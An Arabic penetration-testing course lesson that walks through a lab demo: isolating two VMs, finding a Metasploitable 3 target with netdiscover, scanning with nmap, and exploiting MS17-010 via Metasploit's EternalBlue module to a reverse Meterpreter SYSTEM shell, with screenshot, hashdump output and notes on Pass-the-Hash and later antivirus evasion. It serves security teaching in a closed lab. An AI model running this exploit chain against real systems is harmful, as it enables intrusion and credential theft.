إنتقل إلى المحتوى الرئيسي

المقدمة و Kali — عرض توضيحي موجَّه

نتوقف عن النظرية. نُنشئ المختبر، نفحص، نحصل على shell. سترى بعينيك أول جهاز يسقط. ثم، في الورشة، ستعيد الأمر بمفردك.

تذكير — مختبر مغلق فقط

تُنفَّذ جميع أوامر هذا الدرس بين جهازين افتراضيين على حاسوبك، على شبكة معزولة عن الإنترنت وعن الشبكة المحلية. لا يجب أن يخرج أي منها إلى الخارج. إذا لم تستطع ضمان العزل، توقف هنا واذهب أولًا لقراءة قسم «الشبكة المعزولة» أدناه.

ما ستكون قادرًا على فعله بعد هذا الدرس​

  • إنشاء مختبر مهاجم + ضحية في ثلاثين دقيقة.
  • اكتشاف الضحية دون معرفة عنوانها IP مسبقًا.
  • قراءة مخرجات nmap دون تخمين — معرفة ما يقوله كل عمود.
  • الحصول على أول shell بواسطة Metasploit على ثغرة تاريخية (EternalBlue، MS17-010).
  • فهم شكل الدليل القابل للاستخدام في تقرير.

الديكور​

جهازان افتراضيان، قاعدة واحدة ووحيدة: يتحدثان فيما بينهما فقط.

الجهازالدورالعنوان في المختبر
Kali Linuxجهاز المهاجم. هذا أنت.10.10.10.5
Metasploitable 3 (Windows)الهدف الضعيف عن قصد.مجهول في البداية، في مكان ما ضمن 10.10.10.0/24.

Metasploitable 3 هو جهاز التدريب الرسمي الذي نشرته Rapid7 (الجهة الناشرة لـMetasploit). صُمِّم ليُدمَّر. يمكنك أيضًا استخدام Windows 7 غير مُحدَّث مع تفعيل SMBv1.


الخطوة 0 — الشبكة المعزولة (ضرورية)​

في VirtualBox: File → Host Network Manager → Create. فعِّل خيار DHCP disabled، واضبط المضيف على 10.10.10.1/24.

في كلا الجهازين الافتراضيين: Settings → Network → Adapter 1 → Host-only Adapter، اختر الشبكة المُنشأة.

التحقق (على Kali):

ip -brief address

المخرج المتوقع:

lo               UNKNOWN        127.0.0.1/8
eth0 UP 10.10.10.5/24

يجب أن يفشل ping 8.8.8.8:

From 10.10.10.5 icmp_seq=1 Destination Host Unreachable

جيد. إذا نجح الـping، فمختبرك غير معزول — صحّح ذلك قبل المتابعة.


الخطوة 1 — إيجاد الهدف (فحص ARP)​

لا تعرف عنوان IP الخاص بالضحية. لن تسأل عنه: بل تبحث عنه.

sudo netdiscover -r 10.10.10.0/24 -P

مخرج نموذجي بعد 20 ثانية:

 Currently scanning: Finished!   |   Screen View: Unique Hosts

IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------
10.10.10.1 0a:00:27:00:00:0a 1 42 Cadmus Computer Systems
10.10.10.12 08:00:27:c3:5f:1e 1 42 PCS Systemtechnik GmbH

القراءة:

  • 10.10.10.1 هو مضيف VirtualBox الخاص بك (تجاهله).
  • 10.10.10.12 هو الهدف. الصانع PCS Systemtechnik هو بصمة VirtualBox — إنه فعلًا جهاز افتراضي.

سجِّل العنوان. إنه لك لما يأتي.

تعريف — ARP، MAC، ولماذا يعمل netdiscover دون تصريح

على شبكة محلية، يحتاج جهازان يريدان التحدث إلى عنوانين. عنوان IP هو عنوان بروتوكول الإنترنت، مثل 10.10.10.12. وعنوان MAC، المحفور في بطاقة الشبكة، هو عنوان الوسيط المادي، مثل 08:00:27:c3:5f:1e. IP لتحديد لمن، وMAC لتحديد من أين.

كيف يُترجَم الأول إلى الثاني؟ هذا دور بروتوكول ARP، أي Address Resolution Protocol. حين يريد Kali إرسال حزمة إلى 10.10.10.12 لكنه لا يعرف بعد عنوانها MAC، يبث إلى الشبكة كلها السؤال «من يملك 10.10.10.12؟». يرد الجهاز المعني بعنوانه MAC؛ ويحتفظ Kali بالمطابقة بضع دقائق في ذاكرته المؤقتة.

يستغل netdiscover هذه الآلية بالضبط، بمسح نطاق 10.10.10.0/24 بطلبات ARP. إنه خفي جدًا من ناحية السجلات — لا تُسجّل معظم الأنظمة طلبات ARP —، ولا يعبر أجهزة التوجيه، ويعمل حتى عندما يحجب جدار حماية الـping. لكن بالمقابل، لا يفيد بعد الخروج من نفس شريحة الشبكة: بعد جهاز التوجيه، نعود للاعتماد على فحص IP تقليدي.


الخطوة 2 — فحص المنافذ (nmap)​

لا تندفع مباشرة إلى nmap -A --script=vuln 10.10.10.12. نتقدم على طبقات، من الأكثر خفاءً إلى الأكثر صخبًا.

2أ. المنافذ المفتوحة فقط، لا شيء آخر​

nmap -sS -Pn -p- --min-rate 2000 10.10.10.12 -oN scan-ports.txt
  • -sS: فحص SYN. نُرسل أول حزمة TCP، نقرأ الرد، لا نُنهي المصافحة. سريع، وآثاره أقل من فحص كامل.
  • -Pn: عدم إجراء ping أولًا — قد يتجاهل الهدف ICMP.
  • -p-: جميع المنافذ الـ65,535، لا فقط الألف الافتراضية.
  • --min-rate 2000: تسريع قليلًا (لا تفعل ذلك في بيئة إنتاج).
  • -oN: مخرج قابل للقراءة في ملف، من أجل تقريرك.
تعريف — مصافحة TCP، ولماذا يختصرها فحص SYN

يُفتح اتصال TCP عادي عبر ثلاث مبادلات، المصافحة الثلاثية. يُرسل العميل حزمة موسومة SYN، أي أُزامن؛ يرد الخادم بـSYN-ACK، أي مُزامَن وأُقر بالاستلام؛ يختتم العميل بـACK، أي استُلم. يُفتح الاتصال، ويمكن للبيانات أن تتدفق.

يُرسل فحص SYN من Nmap، المعروف أيضًا بـنصف المفتوح، أول SYN ثم يُلاحظ الرد. إذا كان المنفذ مفتوحًا، يستلم SYN-ACK: يستنتج أن أحدهم يستمع ويقطع الاتصال بـRST بدلًا من ACK المتوقَّع. إذا كان المنفذ مغلقًا، يستلم RST مباشرة. إذا اعترض جدار حماية، لا يستلم شيئًا.

نتيجتان عمليتان. لأن الاتصال لم يكتمل، لا يظهر غالبًا في سجلات التطبيق الهدف — فقط نواة النظام تراه يمر. والفحص سريع، لأننا نُوفّر الحزمة الثالثة والإغلاق. إنه الفحص الافتراضي بمجرد امتلاك صلاحيات root، تحديدًا لأنه يلزم root لتزييف حزم TCP نصف مكتملة.

مقتطف من المخرج:

PORT      STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
4848/tcp open appserv-http
8080/tcp open http-proxy

القراءة:

  • 22، 80، 3389: SSH، الويب، RDP — الثلاثي الكلاسيكي.
  • 445 + 139: مشاركة ملفات Windows (SMB). هذا هو المنفذ الذي يهمنا. تاريخيًا، SMB منجم ثغرات.
  • 3306: MySQL مكشوف. يُسجَّل لوقت لاحق.

2ب. نسخ الخدمات​

نطلب الآن من كل خدمة أن تُقدّم نفسها:

nmap -sV -p 22,80,135,139,445,3389,8080 10.10.10.12 -oN scan-versions.txt

مقتطف رئيسي:

PORT    STATE SERVICE       VERSION
80/tcp open http Microsoft IIS httpd 7.5
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

الترجمة: Windows Server 2008 R2 مع SMB قيد الاستماع. Windows Server 2008 R2 = تاريخ إصدار 2009 = ربح كبير. نظام تشغيل من هذا الجيل، إن لم يُحدَّث، عرضة لـMS17-010 (اسم الاستغلال: EternalBlue)، الثغرة التي كشفها تسريب Shadow Brokers عام 2017.

2ج. تأكيد الثغرة (سكربت NSE)​

nmap --script smb-vuln-ms17-010 -p 445 10.10.10.12

المخرج المتوقع:

| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143

كلمة VULNERABLE بأحرف كبيرة لسبب وجيه. الجهاز أصبح لنا. لم يبق سوى الانتقال إلى الفعل.


الخطوة 3 — السيطرة بواسطة Metasploit​

Metasploit هو framework. تُحمّل وحدة (الاستغلال)، تُعطيها خياراتها (الهدف)، تُطلقها.

تعريف — Metasploit ليس أداة واحدة، بل إطار عمل

الأداة، بالمعنى الدقيق، تفعل شيئًا واحدًا. Nmap يفحص، John the Ripper يكسر البصمات، curl ينقل ملفًا. Metasploit لا يفعل شيئًا بمفرده: إنه إطار عمل، بالإنجليزية framework، يجمع ويُتيح أكثر من ألفي وحدة هجوم كتبها أطراف ثالثة، من نواة BSD في العقد الأول من الألفية إلى ثغرة Log4Shell الضعيفة لعام 2021.

فائدة الإطار ليست في الكمية، بل في التوحيد. سواء استهدفت الوحدة SMB على Windows أو نظام إدارة محتوى بلغة PHP، تستخدم دائمًا الأوامر نفسها — use، show options، set، exploit. تختار دائمًا payload من القائمة نفسها. تُدير دائمًا جلساتك المفتوحة بـsessions -l. هذه الانتظام، غير المرئي للمستخدم المبتدئ، هو ما يجعل Metasploit لا غنى عنه بمجرد الانتقال من الاستغلال الواحد إلى مهمة حقيقية متسلسلة.

حدّان يجب معرفتهما. تكتشف برمجيات مكافحة الفيروسات الكثيرة payloads Metasploit غير المعدَّلة فورًا، لأن توقيعاتها علنية وقديمة؛ تتعلم الوحدة 8 كيفية تمويهها. واستغلال موجود يدويًا لا يُدرَج دائمًا ضمن Metasploit — في هذه الحالة يُنفَّذ يدويًا، دون المرور عبر الإطار.

msfconsole -q

يُلغي -q شعار ASCII (الذي شاهده الجميع 500 مرة).

في الطرفية msf6 >:

search ms17-010

المخرج:

   #  Name                                      Rank     Description
- ---- ---- -----------
0 exploit/windows/smb/ms17_010_eternalblue average MS17-010 EternalBlue
1 auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection

نأخذ رقم 0:

use 0
show options

يعرض Metasploit المُعامِلات. ثلاثة فقط للضبط:

set RHOSTS 10.10.10.12
set LHOST 10.10.10.5
set LPORT 4444
  • RHOSTS — الضحية.
  • LHOST — جهاز Kali الخاص بك (حيث سيتصل الـshell في المقابل).
  • LPORT — منفذ الاستماع لديك.
تعريف — الحمولة، آلية الإطلاق، ولماذا يأتي الاتصال من الهدف

يُقرَأ الاستغلال في جزأين. الثغرة هي الخلل الذي يسمح بتنفيذ كود عشوائي على الهدف. الحمولة، بالإنجليزية payload، هي هذا الكود — ما سيفعله الهدف بمجرد أن نجعله يُنفّذ شيئًا ما. الأولى تسمح بالدخول، والثانية تُقرر ما يحدث بمجرد الدخول.

اختيار windows/x64/meterpreter/reverse_tcp يستحق الفهم. windows/x64: الحمولة ثنائية Windows بمعمارية 64 بت. meterpreter: ليس shell بسيطًا، بل عامل كامل يُحمَّل في الذاكرة، سنتحدث عنه أدناه. reverse_tcp: يفتح الهدف اتصالًا صادرًا نحو Kali بدلًا من انتظار اتصال وارد. هذا هو المفتاح العملي للنموذج: تفحص معظم جدران الحماية في الشركات ما يدخل وتترك ما يخرج دون تدقيق كبير، لذا فإن اتصالًا من الهدف نحو خادم خارجي لديه فرصة كبيرة للمرور.

تفصيل أخير مفيد: الحمولات المعروفة بـstagées، مثل هذه، لا تُرسَل دفعة واحدة. يُرسل Metasploit أولًا برنامجًا صغيرًا، الـstager، دوره الوحيد الاتصال بـKali لتحميل الحمولة الحقيقية — Meterpreter — وتحميلها في الذاكرة. هذا يُقلّل حجم الكود الأولي المحقون، ما يساعد في الاستغلالات التي لا نملك فيها سوى بضع مئات من البايتات.

نُطلق:

exploit

المخرج (الأسطر المهمة):

[*] Started reverse TCP handler on 10.10.10.5:4444
[*] 10.10.10.12:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.12:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.10.12:445 - Connecting to target for exploitation.
[+] 10.10.10.12:445 - Connection established for exploitation.
[*] 10.10.10.12:445 - Sending final SMBv1 buffers.
[*] 10.10.10.12:445 - Sending last fragment of exploit packet!
[*] 10.10.10.12:445 - Receiving response from exploit packet
[+] 10.10.10.12:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending stage (200262 bytes) to 10.10.10.12
[*] Meterpreter session 1 opened (10.10.10.5:4444 -> 10.10.10.12:49670)

meterpreter >

هذا meterpreter > يُغيّر كل شيء. أنت في الداخل.

تعريف — Meterpreter، العامل الذي لا يُرى مروره

Meterpreter، اختصار meta-interpreter، عامل هجومي صممته Metasploit. يختلف عن shell عادي في ثلاث نقاط تستحق الحفظ.

لا يلمس القرص أبدًا. يُفتح shell الهدف، لكن Meterpreter يُحمَّل بالكامل في الذاكرة، ضمن العملية الشرعية التي اخترقها الاستغلال أصلًا. لن يجد برنامج مكافحة فيروسات تقليدي يفحص نظام الملفات شيئًا.

يتحدث إلى Kali بروتوكولًا ثنائيًا مشفَّرًا، لا أوامر نصية واضحة. ما تكتبه من جانب المهاجم يُترجَم إلى استدعاءات دوال؛ وما يُعيده الهدف يُغلَّف قبل نقله. المحلل الشبكي الذي يلتقط الحركة يرى تدفقًا مشفَّرًا، لا أوامر قابلة للقراءة.

يُتيح إمكانيات لا يملكها shell عادي — التقاط الشاشة، استخراج بصمات النظام، نقل الملفات، الانتقال إلى عملية أخرى، الاستماع إلى الميكروفون. هذه دوال كُتبت مرة واحدة من قِبل المطورين، متاحة أيًا كان النظام الهدف، ما يُفسّر ثبات المفردات بين وحدات مختلفة جدًا.

Meterpreter قديم، لذا معروف جيدًا لدى المدافعين. تعرف أنظمة EDR الحديثة كيف تكتشفه، خصوصًا حين ينتقل بين العمليات أو حين يُنفّذ استدعاءات نظام معينة بشكل متسارع. لهذا السبب تتعلم الوحدة 8 تمويهه، ولهذا السبب تُفضّل فرق red team المحترفة غالبًا عوامل أحدث مثل Sliver أو Havoc.


الخطوة 4 — التأكيد، وأخذ الدليل​

تحقق من هويتك:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM. الحساب الأعلى على Windows. ليس administrator: بل ما فوقه. أنت النظام نفسه.

تحقق من مكانك:

meterpreter > sysinfo
Computer : METASPLOITABLE3
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows

وخُذ دليلًا يمكنك إلصاقه في التقرير:

meterpreter > screenshot
Screenshot saved to: /home/kali/gGpJKlmA.jpeg

افتح الملف: سطح مكتب الضحية، مع الطابع الزمني. هذا هو proof of pwn الخاص بك.

للمتعة (ولتوضيح الأثر):

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::

بصمات NTLM للحسابات المحلية. لن تكسرها هنا — سيكون ذلك موضوع الوحدة 9. مجرد امتلاكها يكفي للتقرير.

تعريف — بصمة NTLM، ما استخرجناه للتو

لا يُخزّن نظام تشغيل أبدًا كلمات المرور بنص صريح: بل يُخزّن بصمات، وهي نتيجة دالة رياضية أحادية الاتجاه تُطبَّق على كلمة المرور. لا يمكن الرجوع من البصمة إلى كلمة المرور؛ ومن كلمة المرور نحصل دائمًا على البصمة نفسها. هذا ما يسمح بالتحقق من إدخال دون الاحتفاظ بالأصل أبدًا.

تستخدم Windows بصمة NTLM، المشتقة من كلمة المرور بدالة MD4. يُقرأ كل سطر من المخرج السابق كالتالي:

Administrator : 500 : aad3b435b51404eeaad3b435b51404ee : e02bc503339d51f71d913c245d35b50b : : :

الاسم، المعرّف الرقمي للحساب، بصمة LM — قديمة، مملوءة بأصفار في الإعدادات الحديثة —، ثم بصمة NT الفعلية. هذه البصمات غير مُملَّحة، ما يجعلها عرضة لهجوم بجدول محسوب مسبقًا أو بالقوة الغاشمة، كما سنرى في الوحدة 9.

خاصيتان يجب تذكرهما من الآن. تكفي هذه البصمة لانتحال هوية الحساب على أجهزة Windows أخرى في الشبكة نفسها، دون الحاجة أبدًا لمعرفة كلمة المرور: هذا هو هجوم Pass-the-Hash. وبصمة حساب Administrator المحلي غالبًا ما تكون نفسها على كل أجهزة أسطول استُنسخت صورته — بصمة واحدة مسروقة يمكنها إذًا فتح الأسطول بأكمله.

أغلق بشكل نظيف:

meterpreter > exit
[*] Shutting down Meterpreter...

ما حدث للتو، في صورة ذهنية​

  1. جهازان افتراضيان على شبكة مغلقة.
  2. وجد netdiscover الهدف.
  3. أدرج nmap الأبواب المفتوحة، ثم الخدمات خلفها.
  4. حدَّد سكربت nmap الثغرة القابلة للاستغلال.
  5. سلَّم Metasploit الاستغلال واسترجع الـshell.
  6. في أربعة أوامر، أصبحت SYSTEM، مع لقطات وبصمات.

هذا بالضبط التسلسل الذي سنُعيده ثلاث عشرة مرة، بصيغ مختلفة، حتى نهاية الكورس.


أين ينحرف الأمر، ولماذا​

  • لا يجد netdiscover شيئًا. جهازاك الافتراضيان ليسا على نفس host-only network. تحقق من إعدادات الجهازين.
  • يقول nmap filtered في كل مكان. جدار حماية (Windows Defender Firewall) يعترض. على Metasploitable، عطّل جدار حماية الجهاز الافتراضي؛ على هدف حقيقي، غيّر التقنية (الوحدة 4).
  • يُظهر الاستغلال Exploit aborted due to failure: no-target. الهدف ليس 2008 R2، أو أن SMBv1 معطَّل. أعد nmap --script smb-vuln-ms17-010. إذا كانت النتيجة NOT VULNERABLE، غيّر الثغرة.
  • تموت جلسة meterpreter خلال ثانيتين. برنامج مكافحة فيروسات. في هذه الوحدة، لا وجود له. على هدف حقيقي، سننتقل إلى payloads مُموَّهة (الوحدة 8).

التعمق أكثر، فورًا​

أعد التسلسل نفسه، لكن مع النسخة التالية:

nmap -A -p 445 10.10.10.12

يجمع -A بين اكتشاف نظام التشغيل، اكتشاف النسخ، السكربتات الافتراضية، وtraceroute. إنه الفحص الصاخب. قارن المخرج بالفحص على طبقات — ستلاحظ أن المعلومة نفسها تصلك دفعة واحدة، لكن نظام كشف تسلل (IDS) كان سيراها قادمة من بعيد.

هذا هو رهان بقية الكورس بأكمله: الشيء نفسه، لكن بخفاء.